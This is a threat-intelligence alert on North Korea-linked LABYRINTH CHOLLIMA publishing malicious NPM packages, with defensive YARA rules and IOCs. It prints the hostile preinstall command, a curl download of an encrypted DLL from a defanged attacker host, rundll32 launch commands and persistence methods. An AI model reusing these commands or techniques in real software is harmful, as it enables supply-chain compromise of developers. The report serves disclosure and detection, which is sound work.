Intelligence Alert

CSA-240065

LABYRINTH CHOLLIMA Continues Using Malicious Node.js Packages to Deploy OpenSSL Downloader

CROWDSTRIKE INTELLIGENCE

CROWDSTRIKE

This report is provided for situational awareness and network defense purposes only. DO NOT conduct searches on, communicate with, or engage any individuals, organizations, or network addresses identified in this report. Doing so may put you or your employer at risk and jeopardize any ongoing investigation efforts.

COPYRIGHT 2024

LABYRINTH CHOLLIMA Continues Using Malicious Node.js Packages to Deploy OpenSSL Downloader

Publish Date: 17 January 2024

Summary

In January 2024, LABYRINTH CHOLLIMA published three malicious packages to the Node Package Manager (NPM). The packages contained a malicious preinstall script used to download and execute an *NpmLoader* instance that loaded a *Stackeydat Dropper* instance used to deploy *OpenSSL Downloader.*

CrowdStrike Intelligence attributes the malicious packages to LABYRINTH CHOLLIMA with high confidence. This assessment is based on technical overlaps with a LABYRINTH CHOLLIMA campaign that used malicious Node.js packages to deploy *OpenSSL Downloader* (CSIT-24002) as well as overlaps with infrastructure LABYRINTH CHOLLIMA used to target North American manufacturing entities in December 2023 (CSA-231770).

Details

From 16 to 17 January 2024, LABYRINTH CHOLLIMA published three malicious Node.js packages to NPM. The packages were based on the legitimate package `node-config`; associated details are displayed in Table 1.[1]

Package	Package Tarball SHA256 hash	Package Version	Publication Date	Package Maintainer	Maintainer Email Address
`react-circular-pick`	Unavailable	`2.2.1`	16 January 2024	`heylookme`	`hesslucas54@gmail[.]com`
`eth-chai`	`db33e08e346e20044eb14cb811827ffef21a0fc597d98fdd64331fc8804d8177`	`4.2.1`	17 January 2024	`lucasgeneral`	`lucasgeneral872@gmail[.]com`
`ordinia-lib`	`3a293525b26e84296b815272eed931984d24b63ee41aedf3633b622c1be8300b`	`6.1.1`	17 January 2024	`tyhoslcis`	`ellisaredo@gmail[.]com`

Table 1. Details of Malicious Node.js Packages

The malicious packages use a preinstall script to execute the command `node deference.js && del deference.js`, which executes and then deletes `deference.js`.[2] When executed, `deference.js` performs the following actions:

[1] https[:]//github[.]com/node-config/node-config
[2] https[:]//docs.npmjs[.]com/cli/v10/using-npm/scripts

Copyright 2024

- Writes the batch script `package.bat` (SHA256 hash: `4c0c2658b425994d927c2553cefe186fcd8a7026bcbb348d0b738c77983f4504`) to the current directory
- Writes the PowerShell (PS) script `package.ps1` (SHA256 hash: `7fc8b17dc593850e80d921390e12c2becd69f6a62d20aa777943ee69144bce45`) to the current directory
- Executes `package.bat`, which downloads an XOR-encrypted *NPMLoader* DLL using the command `curl -o Temp.b -L "https[:]//chainfashion[.]one/questions/usr.flv" > nul 2>&1`; this command saves the downloaded file as `Temp.b` (SHA256 hash: `731b92d901d01b1fe630abe7d512bfa749108cfaeef401a49bbe79897b897ada`)
- The batch script `package.bat` then launches the PS script `package.ps1` that reads `Temp.b`, decrypts it using the single-byte XOR key `0xfc`, and then saves the decrypted file to `thumbs.db`
- The batch script `package.bat` then renames `thumbs.db` to `package.db` and executes `package.db` using the command `rundll32 package.db,AddNumbers jweo 7411`
- Once the *NpmLoader* DLL (`package.db`) has been executed using `rundll32.exe`, the batch script `package.bat` deletes `package.db` and `package.json` (the file `package.json` is a standard file used in Node packages and contains information about the package) and then renames the included file `pk.json` to `package.json` to eliminate evidence of the preinstall script contained in `package.json`

When executed, *NpmLoader* DLL `package.db` (SHA256 hash: `70c5b64589277ace59db86d19d846a9236214b48aacabbaf880f2b6355ab5260`) HC-256 decrypts and loads a *Stackeydat Dropper* instance (SHA256 hash: `3e667885559f2be622c9fa7361883f69a3b925691622ed785f2d315af83a6200`).

Stackeydat Dropper

The loaded *Stackeydat Dropper* instance writes the files displayed in Table 2.

SHA256 Hash	Filepath	Description
`d2e743216d17e97c8d1913d376d46095b740015f26a3c62a05e286573721d26c`	`%APPDATA%\..\Local\Microsoft\OneDrive\OneDrive.pri`	*Stackeyflate* variant
`6c229f1b36da81d71d55e0f30319bbf311cc0e0cae3a8fa363edf0cbdf3f4cfc`	`%APPDATA%\..\Local\Microsoft\Windows\credential.sys`	Encrypted *OpenSSL Downloader*

Table 2. Files Written by Stackeydat Dropper

After the files are written, *Stackeydat Dropper* creates an auto-start extensibility point (ASEP) that executes the dropped *Stackeyflate* variant `OneDrive.pri` using the command displayed in Figure 1.

Copyright 2024

```
rundll32.exe %APPDATA%\..\Local\Microsoft\OneDrive\OneDrive.pri,UpdateData
%APPDATA%\..\Local\Microsoft\Windows\credential.sys n0Yw 7411
```

Figure 1. Command Executed by ASEP

The ASEP is created during the following process:

- First, *Stackeydat Dropper* attempts to create a scheduled task named `OneDrive Widgets` with author `Microsoft Corporation`
- If scheduled task creation fails, the malware attempts to create a registry `Run` key in `HKEY_CURRENT_USER` with the value `GoogleUpdate` to execute the command at startup
- If all other methods fail, the malware creates a hidden file at `%APPDATA%\Microsoft\Windows\StartMenu\Programs\Startup\check.cmd` that contains the command and is executed at startup

When executed, the *Stackeyflate* variant `OneDrive.pri` decrypts the encrypted *OpenSSL Downloader* DLL `credential.sys` using an XOR key derived from an offset of the encrypted file and then loads the decrypted *OpenSSL Downloader* DLL into memory (CSIT-24002). The decrypted *OpenSSL Downloader* DLL (SHA256 hash: `5a60f2575ed6bcc8d8e33d73f1a0b28e3aca28819a2ee70b8d5e218e8d6e64d2`) is configured with the command-and-control (C2) URL `https[:]//fasttet[.]com/user/agency.asp`.

Related Activity

On 20 December 2023, the related *NpmLoader* sample `usr.deobf.flv` (SHA256 hash: `4866f6110c63fd171cc43ef23ab7c7ecde6c425d684d170e04851ebbbca59f50`) was uploaded to a third-party malware-scanning service. The *NpmLoader* instance created an infection chain that dropped or loaded the files shown in Table 3.

SHA256 hash	Description
`10e2223d233613a13f10ba69fec3754ed69ba15607b45f42b38bcd4c8f1063b0`	*Stackeydat Dropper* sample that writes *Stackeyflate* and an encrypted *OpenSSL Downloader* DLL using the same paths shown in Table 2
`4bbe96ca9b79feb7c40b6eef17b77b2127fd2800d4c53086a048c465634a0083`	Encrypted *OpenSSL Downloader* DLL
`d2e743216d17e97c8d1913d376d46095b740015f26a3c62a05e286573721d26c`	*Stackeyflate*
`f749c7e84809ffc3939eaed06ad90e15b0e11375f98d7348c0aa1bf35d3f0b8e`	Decrypted *OpenSSL Downloader* DLL with C2 URL `https[:]//chainfashion[.]one/news/index.asp`

Copyright 2024

Table 3. Files Written by Related NpmLoader

Assessment

CrowdStrike Intelligence attributes the malicious packages to LABYRINTH CHOLLIMA with high confidence. This assessment is based on technical overlaps with a LABYRINTH CHOLLIMA campaign conducted from at least August 2023 to October 2023 that used malicious Node.js packages to deploy *NpmLoader*, *Stackeydat Dropper*, *Stackeyflate*, and *OpenSSL Downloader* (CSIT-24002) as well as infrastructure overlaps with the domain `chainfashion[.]one`, which LABYRINTH CHOLLIMA used to target North American manufacturing entities in December 2023 (CSA-231770).

Although the delivery method for these packages is unknown, LABYRINTH CHOLLIMA has previously targeted technology entities and individual developers working in the cryptocurrency industry using malicious Node.js projects (CSA-231083, CSIT-24002).

YARA Rules

The following YARA rule can detect *NpmLoader*. It was previously released in CSIT-24002 and has been updated to reflect changes to *NpmLoader*.

```
rule CrowdStrike_CSIT_24002_02 : labyrinth_chollima npm_loader
{
    meta:
        copyright = "(c) 2024 CrowdStrike Inc."
        description = "Strings and HC-256 function bytes in NpmLoader"
        reports = "CSA-240065,CSIT-24002"
        version = "202401171244"
        last_modified = "2024-01-17"
        actor = "LABYRINTH CHOLLIMA"
        malware_family = "NpmLoader"
    strings:
        $hc256_bytes0 = {81 [1-4] 03 00 00 41 [2-4] ff 03 00 00 [0-1] 81 [1-2] ff 03 00
00 81 [1-2] 03 00 00 [1-5] 00 04 00 00 }
        $hc256_bytes1 = {41 81 e7 ff 03 00 00 81 e1 ff 03 00 00 3d 00 04 00 00 41 8d 47
0d}
        $hc256_key0 = "3f!QqK3V6dZ|03whsS2pd41YBB*7'U!&"
        $hc256_key1 = "M92O3{,4qvq[a)w8-3osh?}R<S[3VWQ&"
        $hc256_key2 = "HHv8S$(%R{j-|>xxubh3nes{}wk|SJ_8"
        $hc256_partial_key = "ED]YC^Yn124Na&+a1p1=HPZ]<7p5"
        $dllname0 = "NPMLoader.dll"
        $dllname1 = "npmLoaderDll.dll"
```


Copyright 2024

```
        $pdb = "\\workspace\\CBG\\"
    condition:
        2 of them
}
```

The following YARA can detect *Stackeydat Dropper*. It was previously released in CSIT-24002 and has been updated to reflect changes to *Stackeydat Dropper.*

```
rule CrowdStrike_CSIT_24002_01 : dropper labyrinth_chollima stackeydat_dropper
{
    meta:
        copyright = "(c) 2024 CrowdStrike Inc."
        description = "Strings in Stackeydat Dropper"
        reports = "CSIT-24002"
        version = "202401171255"
        last_modified = "2024-01-17"
        actor = "LABYRINTH CHOLLIMA"
        malware_family = "StackeydatDropper"
    strings:
        $drop_file_path0 = "\\..\\Local\\Microsoft\\Windows\\usrgroup.dat" wide
        $drop_file_path1 = "\\..\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_512"
wide
        $drop_file_path2 = "\\Roaming\\Microsoft\\IconCache.db" wide
        $drop_file_path3 = "\\Roaming\\Microsoft\\Network\\NTUSER.DAT" wide
        $drop_file_path4 = "\\Roaming\\Microsoft\\Credentials\\NTUSER.DAT" wide
        $drop_file_path5 = "\\..\\Local\\Microsoft\\OneDrive\\OneDrive.pri" wide
        $drop_file_path6 = "\\..\\Local\\Microsoft\\Windows\\credential.sys" wide
        $task_desc = "This task checks regular system protection points" wide
        $startup_cmd = "check.cmd"
        $cmd = "cmd /c start /b rundll32" wide
        $err = "ITaskService::Connect failed: %x"
        $hc256_key0 = "T)aOK3roeHy2cUID@SKx27,#@i[8qFS="
        $hc256_key1 = "wertCLzb63C(K(IE|Vk_{p{'=wri+#z>"
        $hc256_key2 = "bt.*pa]r49!xg5j_l4hezf+kb&:em0z1"
        $hc256_bytes = { 81 [1-4] 03 00 00 41 [2-4] ff 03 00 00 [0-1] 81 [1-2] ff 03 00
00 81 [1-2] 03 00 00 [1-5] 00 04 00 00 }
        $dll_name = "TaskScheduler64.dll"
    condition:
        4 of them
}
```


Copyright 2024

The following YARA rule can detect encrypted *OpenSSL Downloader* DLLs. It was previously released in CSIT-24002, and has been updated to reflect changes to the encrypted file format.

```
rule CrowdStrike_CSIT_24002_03 : labyrinth_chollima
{
    meta:
        copyright = "(c) 2024 CrowdStrike Inc."
        description = "Encrypted file format structure used by LABYRINTH CHOLLIMA"
        reports = "CSA-240065,CSIT-24002"
        version = "202401171322"
        last_modified = "2024-01-17"
        actor = "LABYRINTH CHOLLIMA"
    condition:
        (uint32(8) == 0x9530 or uint32(8) == 0x2983) and (uint32(4) + 12 + 0x1c + 0x104
== filesize)
}
```

Indicators of Compromise (IOCs)

IOC	Description
`db33e08e346e20044eb14cb811827ffef21a0fc597d98fdd64331fc8804d8177`	`eth-chai` package tarball SHA256 hash
`3a293525b26e84296b815272eed931984d24b63ee41aedf3633b622c1be8300b`	`ordinia-lib` package tarball SHA256 hash
`4c0c2658b425994d927c2553cefe186fcd8a7026bcbb348d0b738c77983f4504`	`package.bat` SHA256 hash
`7fc8b17dc593850e80d921390e12c2becd69f6a62d20aa777943ee69144bce45`	`package.ps1` SHA256 hash
`731b92d901d01b1fe630abe7d512bfa749108cfaeef401a49bbe79897b897ada`	Encrypted *NpmLoader* SHA256 hash
`70c5b64589277ace59db86d19d846a9236214b48aacabbaf880f2b6355ab5260`	Decrypted *NpmLoader* SHA256 hash
`4866f6110c63fd171cc43ef23ab7c7ecde6c425d684d170e04851ebbbca59f50`	Decrypted *NpmLoader* SHA256 hash
`3e667885559f2be622c9fa7361883f69a3b925691622ed785f2d315af83a6200`	*StackeyDat* Dropper SHA256 hash

Copyright 2024

10e2223d233613a13f10ba69fec3754ed69ba15607b45f42b38bcd4c8f1063b0	*StackeyDat* Dropper SHA256 hash
d2e743216d17e97c8d1913d376d46095b740015f26a3c62a05e286573721d26c	*Stackeyflate* variant SHA256 hash
6c229f1b36da81d71d55e0f30319bbf311cc0e0cae3a8fa363edf0cbdf3f4cfc	Encrypted *OpenSSL Downloader* SHA256 hash
4bbe96ca9b79feb7c40b6eef17b77b2127fd2800d4c53086a048c465634a0083	Encrypted *OpenSSL Downloader* SHA256 hash
5a60f2575ed6bcc8d8e33d73f1a0b28e3aca28819a2ee70b8d5e218e8d6e64d2	Decrypted *OpenSSL Downloader* SHA256 hash
f749c7e84809ffc3939eaed06ad90e15b0e11375f98d7348c0aa1bf35d3f0b8e	Decrypted *OpenSSL Downloader* SHA256 hash
https[:]//fasttet[.]com/user/agency.asp	*OpenSSL Downloader* C2 URL
https[:]//chainfashion.one/news/index[.]asp	*OpenSSL Downloader* C2 URL
https[:]//chainfashion[.]one/questions/usr.flv	Malicious package second-stage URL

Table 4. IOCs

MITRE ATT&CK

Tactic	Technique	Description
Initial Access	T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools	The infection chain uses malicious Node.js packages downloaded from NPM

Table 5. MITRE ATT&CK

Copyright 2024